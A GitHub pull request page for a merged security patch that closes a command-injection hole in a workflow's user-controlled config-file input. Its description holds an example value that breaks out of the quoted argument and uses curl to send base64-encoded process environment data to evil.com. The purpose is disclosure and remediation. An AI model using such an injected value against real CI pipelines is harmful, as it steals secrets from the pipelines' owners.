Skip to content

Defang user controlled fields with safe handling to remediate command injection#25

Merged
AXDOOMER merged 1 commit into
masterfrom
AXDOOMER-security-patch-1
Mar 18, 2026
Merged

Defang user controlled fields with safe handling to remediate command injection#25
AXDOOMER merged 1 commit into
masterfrom
AXDOOMER-security-patch-1

Conversation

@AXDOOMER
Copy link
Copy Markdown
Member

The config-file field is user-controlled and can be used for command injection, executing arbitrary code that's not in this workflow.

Exploit Example

An attacker calling this workflow could provide the following value for config-file-path:

.tflint.hcl"; curl https://evil.com/exfiltrate?data=$(cat /proc/self/environ | base64) && echo "

This would result in the shell executing this inside of the if condition:

tflint --recursive --config \
"$GITHUB_WORKSPACE/
.tflint.hcl"; curl https://evil.com/exfiltrate?data=$(cat /proc/self/environ | base64) && echo ""

… injection

The config-file field is user-controlled and can be used for command injection, executing arbitrary code that's not in this workflow.
@AXDOOMER AXDOOMER merged commit 3b19bc8 into master Mar 18, 2026
2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants